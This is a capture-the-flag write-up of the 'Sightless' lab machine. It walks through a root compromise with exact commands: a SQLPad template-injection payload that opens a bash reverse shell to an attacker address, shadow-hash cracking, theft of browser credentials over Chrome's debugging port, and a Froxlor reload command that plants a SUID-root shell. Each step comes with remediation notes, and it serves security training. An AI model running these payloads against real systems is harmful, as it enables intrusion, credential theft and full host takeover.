Sightless
Summary
I scanned $TARGET and found a public nginx site alongside a subdomain hosting SQLPad, a vulnerable Node.js SQL IDE. An unauthenticated server-side template injection flaw (CVE-2022-0944) in SQLPad's connection-test API gave remote code execution inside the application's Docker container as root.
The container's /etc/shadow exposed a password hash for the host account 'michael'; cracking that hash offline gave an SSH foothold on the underlying host. On the host, a Chromium browser ran with its remote-debugging port bound to localhost — reachable over an SSH tunnel.
Connecting to that port exposed a live, authenticated Froxlor web-hosting control-panel session from which admin credentials were extracted via the DevTools console. With Froxlor admin access, the PHP-FPM restart command was replaced with a payload that created an SUID-root copy of bash; triggering a service reload ran the command as root, completing full host compromise.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Attack path — how the box was taken
Exact commands 3
nmap -sV -sC -p- --min-rate 5000 $TARGET -oN sightless_full.txtecho "$TARGET sightless.htb sqlpad.sightless.htb" | sudo tee -a /etc/hostscurl -si http://sqlpad.sightless.htb/ | head -20Exact commands 2
nc -lvnp 4444curl -s -X POST http://sqlpad.sightless.htb/api/test-connection -H 'Content-Type: application/json' -d '{"driver":"mysql","name":"{{process.mainModule.require(\"child_process\").execSync(\"bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1\").toString()}}","host":"127.0.0.1","port":3306,"database":"test","username":"root","password":"root"}'FixUpgrade SQLPad and restrict external access to the SQL IDECritical
Exact commands 1
cat /etc/shadowFixIsolate Docker container user accounts and secrets from host credentialsHigh
Exact commands 2
echo '<full_michael_shadow_line>' > michael.hashhashcat -m 1800 michael.hash /usr/share/wordlists/rockyou.txt --forceFixEnforce strong, unique passwords and prefer SSH key authenticationHigh
Exact commands 2
ssh michael@$TARGETcat /home/michael/user.txtExact commands 2
ss -tlnpps aux | grep -i chromFixRemove the Chrome remote-debugging flag from all production browser processesHigh
Exact commands 3
ssh -L 9222:127.0.0.1:9222 michael@$TARGET -N &curl -s http://localhost:9222/json | python3 -m json.tool# In my Chromium: navigate to chrome://inspect → Configure → add localhost:9222 → click Inspect on the Froxlor tab. In the Console: document.querySelectorAll('input[type=password]')[0].valueExact commands 4
# In Froxlor admin UI: PHP → PHP-FPM versions → Edit the active version → set 'Reload command' to: cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash# In Froxlor UI: click Save, then trigger a PHP-FPM reload (Apply configuration)./tmp/rootbash -pcat /root/root.txtFixRun Froxlor's service manager unprivileged and lock down admin-configurable shell commandsCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Server-Side Template InjectionWebT1190
What it is
When user input is rendered as part of a server-side template (Jinja2, Twig, Freemarker, etc.), an unauthorised user can inject template syntax that the engine evaluates — {{7*7}} returning 49 confirms it — escalating to reading server data and, in most engines, full remote code execution via object/sandbox escapes.
Why it works
The app passes untrusted input into the template engine as code rather than as data. Remediate by rendering user input only as data (logic-less templates or auto-escaped contexts) and sandboxing the engine.
Read more
Exposed services
| 21/tcp | ftp |
| 22/tcp | ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http nginx 1.18.0 (Ubuntu) |